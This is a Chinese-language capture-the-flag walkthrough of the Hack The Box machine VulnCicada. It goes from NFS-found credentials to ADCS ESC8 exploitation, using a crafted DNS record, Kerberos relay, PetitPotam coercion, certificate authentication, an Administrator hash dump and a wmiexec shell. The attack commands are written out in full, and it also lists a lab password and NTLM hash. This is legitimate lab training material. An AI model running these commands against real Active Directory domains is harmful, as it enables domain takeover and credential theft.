利用ADCS漏洞ESC8攻陷Windows域控制器VulnCicada

本文详细分析了如何通过NFS共享获取凭证,利用ADCS的ESC8漏洞,通过Kerberos中继和PetitPotam强制认证,最终获取域控制器管理员权限的全过程。

HTB: VulnCicada

盒子信息

属性
名称 VulnCicada
发布日期 2025年7月3日
退役日期 2025年7月3日
操作系统 Windows
基础分值 中等 [30]
创建者 xct

侦察

初始扫描

Nmap发现25个开放的TCP端口:

1
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.48

端口包括53(DNS)、80(HTTP)、88(Kerberos)、111(rpcbind)、135(MSRPC)、139(NetBIOS)、389(LDAP)、445(SMB)、464(kpasswd)、593(HTTP RPC)、636(LDAPS)、2049(NFS)、3268/3269(全局目录LDAP)、3389(RDP)、5357(WSDApi)、5985(WSMan)、9389(ADWS)以及多个高位端口。

详细版本扫描显示域为cicada.vl,主机名为DC-JPQ225

网站 - TCP 80

网站为默认IIS页面,无特别技术栈信息。Feroxbuster目录暴力破解未发现有效路径。

SMB - TCP 445

Netexec确认域信息,NTLM认证被禁用,Kerberos认证尝试失败。

NFS - 2049

发现公开NFS共享/profiles,挂载后显示用户目录结构。复制两个图像文件:

  • vacation.png(可访问)
  • marketing.png(需sudo权限访问,内含便签密码Cicada123

认证为DC-JPQ225

认证SMB

使用凭证Rosie.Powell:Cicada123通过Kerberos成功认证:

1
oxdf@hacky$ netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k

共享枚举

列出共享包括ADMIN$C$CertEnroll(ADCS相关)、IPC$NETLOGONprofiles$(与NFS相同)、SYSVOL

ADCS枚举

使用Certipy扫描ADCS漏洞:

1
oxdf@hacky$ certipy find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p Cicada123 -k -vulnerable -stdout

发现CA易受ESC8攻击(HTTP Web注册已启用)。

ESC8利用

背景

ESC8允许通过NTLM中继攻击ADCS HTTP注册端点,获取高权限证书。

攻击步骤

  1. 添加恶意DNS记录:使用bloodyAD添加包含序列化SPN的记录:

    1
    
    bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.79
    
  2. 启动Certipy中继:监听445端口,目标为ADCS Web服务:

    1
    
    certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
    
  3. 强制认证:使用Netexec的coerce_plus模块触发PetitPotam:

    1
    
    netexec smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam
    
  4. 获取证书:中继成功后会生成dc-jpq225.pfx证书文件。

  5. 认证为机器账户:使用证书获取TGT和NTLM哈希:

    1
    
    certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48
    

以Administrator身份获取Shell

转储哈希

使用机器账户TGT转储Administrator哈希:

1
KRB5CCNAME=dc-jpq225.ccache secretsdump.py -k -no-pass cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl -just-dc-user administrator

获取哈希:Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87

获取Shell

使用WMIexec获取交互式Shell:

1
wmiexec.py cicada.vl/administrator@dc-jpq225.cicada.vl -k -hashes :85a0da53871a9d56b6cd05deda3a5e87

确认权限并读取用户和root标志。


总结:通过组合NFS信息收集、ADCS漏洞利用和Kerberos中继技术,成功从普通域用户提升至域管理员权限。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计